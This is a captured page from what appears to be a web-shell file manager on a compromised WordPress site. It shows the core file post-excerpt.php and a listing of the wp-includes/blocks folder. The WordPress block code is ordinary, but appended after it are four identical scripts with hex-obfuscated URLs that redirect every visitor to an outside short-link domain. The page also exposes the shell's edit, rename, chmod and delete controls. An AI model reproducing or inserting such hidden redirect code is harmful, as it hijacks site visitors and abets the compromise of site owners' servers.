Submit
Path:
~
/
home
/
ampckwxt
/
public_html
/
starmediamw.com
/
wp-includes
/
blocks
/
File Content:
post-excerpt.php
<?php /** * Server-side rendering of the `core/post-excerpt` block. * * @package WordPress */ /** * Renders the `core/post-excerpt` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags. */ function render_block_core_post_excerpt( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } /* * The purpose of the excerpt length setting is to limit the length of both * automatically generated and user-created excerpts. * Because the excerpt_length filter only applies to auto generated excerpts, * wp_trim_words is used instead. */ $excerpt_length = $attributes['excerptLength']; $excerpt = get_the_excerpt( $block->context['postId'] ); if ( isset( $excerpt_length ) ) { $excerpt = wp_trim_words( $excerpt, $excerpt_length ); } $more_text = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . wp_kses_post( $attributes['moreText'] ) . '</a>' : ''; $filter_excerpt_more = static function ( $more ) use ( $more_text ) { return empty( $more_text ) ? $more : ''; }; /** * Some themes might use `excerpt_more` filter to handle the * `more` link displayed after a trimmed excerpt. Since the * block has a `more text` attribute we have to check and * override if needed the return value from this filter. * So if the block's attribute is not empty override the * `excerpt_more` filter and return nothing. This will * result in showing only one `read more` link at a time. */ add_filter( 'excerpt_more', $filter_excerpt_more ); $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $content = '<p class="wp-block-post-excerpt__excerpt">' . $excerpt; $show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine']; if ( $show_more_on_new_line && ! empty( $more_text ) ) { $content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>'; } else { $content .= " $more_text</p>"; } remove_filter( 'excerpt_more', $filter_excerpt_more ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/post-excerpt` block on the server. * * @since 5.8.0 */ function register_block_core_post_excerpt() { register_block_type_from_metadata( __DIR__ . '/post-excerpt', array( 'render_callback' => 'render_block_core_post_excerpt', ) ); } add_action( 'init', 'register_block_core_post_excerpt' ); /** * If themes or plugins filter the excerpt_length, we need to * override the filter in the editor, otherwise * the excerpt length block setting has no effect. * Returns 100 because 100 is the max length in the setting. */ if ( is_admin() || defined( 'REST_REQUEST' ) && REST_REQUEST ) { add_filter( 'excerpt_length', static function () { return 100; }, PHP_INT_MAX ); } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
archives
---
0755
audio
---
0755
avatar
---
0755
block
---
0755
button
---
0755
buttons
---
0755
calendar
---
0755
categories
---
0755
code
---
0755
column
---
0755
columns
---
0755
comment-author-name
---
0755
comment-content
---
0755
comment-date
---
0755
comment-edit-link
---
0755
comment-reply-link
---
0755
comment-template
---
0755
comments
---
0755
comments-pagination
---
0755
comments-pagination-next
---
0755
comments-pagination-numbers
---
0755
comments-pagination-previous
---
0755
comments-title
---
0755
cover
---
0755
details
---
0755
embed
---
0755
file
---
0555
footnotes
---
0755
freeform
---
0755
gallery
---
0755
group
---
0755
heading
---
0755
home-link
---
0755
html
---
0755
image
---
0555
latest-comments
---
0755
latest-posts
---
0755
legacy-widget
---
0755
list
---
0755
list-item
---
0755
loginout
---
0755
media-text
---
0755
missing
---
0755
more
---
0755
navigation
---
0555
navigation-link
---
0755
navigation-submenu
---
0755
nextpage
---
0755
page-list
---
0755
page-list-item
---
0755
paragraph
---
0755
pattern
---
0755
post-author
---
0755
post-author-biography
---
0755
post-author-name
---
0755
post-comments-form
---
0755
post-content
---
0755
post-date
---
0755
post-excerpt
---
0755
post-featured-image
---
0755
post-navigation-link
---
0755
post-template
---
0755
post-terms
---
0755
post-title
---
0755
preformatted
---
0755
pullquote
---
0755
query
---
0555
query-no-results
---
0755
query-pagination
---
0755
query-pagination-next
---
0755
query-pagination-numbers
---
0755
query-pagination-previous
---
0755
query-title
---
0755
quote
---
0755
read-more
---
0755
rss
---
0755
search
---
0555
separator
---
0755
shortcode
---
0755
site-logo
---
0755
site-tagline
---
0755
site-title
---
0755
social-link
---
0755
social-links
---
0755
spacer
---
0755
table
---
0755
tag-cloud
---
0755
template-part
---
0755
term-description
---
0755
text-columns
---
0755
verse
---
0755
video
---
0755
widget-group
---
0755
admin.php
5362 bytes
0644
archives.php
3680 bytes
0644
avatar.php
6431 bytes
0644
block.php
3888 bytes
0644
blocks-json.php
187913 bytes
0644
button.php
2491 bytes
0644
calendar.php
6761 bytes
0644
categories.php
4696 bytes
0644
comment-author-name.php
2819 bytes
0644
comment-content.php
3145 bytes
0644
comment-date.php
2549 bytes
0644
comment-edit-link.php
2399 bytes
0644
comment-reply-link.php
2761 bytes
0644
comment-template.php
5180 bytes
0644
comments-pagination-next.php
2610 bytes
0644
comments-pagination-numbers.php
2318 bytes
0644
comments-pagination-previous.php
2476 bytes
0644
comments-pagination.php
1885 bytes
0644
comments-title.php
3458 bytes
0644
comments.php
7453 bytes
0644
cover.php
3795 bytes
0644
file.php
2479 bytes
0644
footnotes.php
4457 bytes
0644
gallery.php
7124 bytes
0644
heading.php
1987 bytes
0644
home-link.php
6419 bytes
0644
image.php
12785 bytes
0644
index.htm
1092 bytes
0644
index.html
1092 bytes
0644
index.php
1092 bytes
0644
latest-comments.php
5726 bytes
0644
latest-posts.php
9228 bytes
0644
legacy-widget.php
4683 bytes
0644
list.php
1959 bytes
0644
loginout.php
2104 bytes
0644
media-text.php
5069 bytes
0644
navigation-link.php
14211 bytes
0644
navigation-submenu.php
9991 bytes
0644
navigation.php
59994 bytes
0644
page-list-item.php
1047 bytes
0644
page-list.php
14297 bytes
0644
pattern.php
2874 bytes
0644
post-author-biography.php
2210 bytes
0644
post-author-name.php
2508 bytes
0644
post-author.php
3291 bytes
0644
post-comments-form.php
3491 bytes
0644
post-content.php
2842 bytes
0644
post-date.php
3810 bytes
0644
post-excerpt.php
4133 bytes
0644
post-featured-image.php
10049 bytes
0644
post-navigation-link.php
5523 bytes
0644
post-template.php
6435 bytes
0644
post-terms.php
4377 bytes
0644
post-title.php
2824 bytes
0644
query-no-results.php
2533 bytes
0644
query-pagination-next.php
4473 bytes
0644
query-pagination-numbers.php
5456 bytes
0644
query-pagination-previous.php
3859 bytes
0644
query-pagination.php
1862 bytes
0644
query-title.php
2784 bytes
0644
query.php
6377 bytes
0644
read-more.php
2516 bytes
0644
require-dynamic-blocks.php
4791 bytes
0644
require-static-blocks.php
1187 bytes
0644
rss.php
4654 bytes
0644
search.php
23736 bytes
0644
shortcode.php
1421 bytes
0644
site-logo.php
7020 bytes
0644
site-tagline.php
1889 bytes
0644
site-title.php
2495 bytes
0644
social-link.php
64857 bytes
0644
tag-cloud.php
2276 bytes
0644
template-part.php
10786 bytes
0644
term-description.php
2022 bytes
0644
widget-group.php
3124 bytes
0644
N4ST4R_ID | Naxtarrr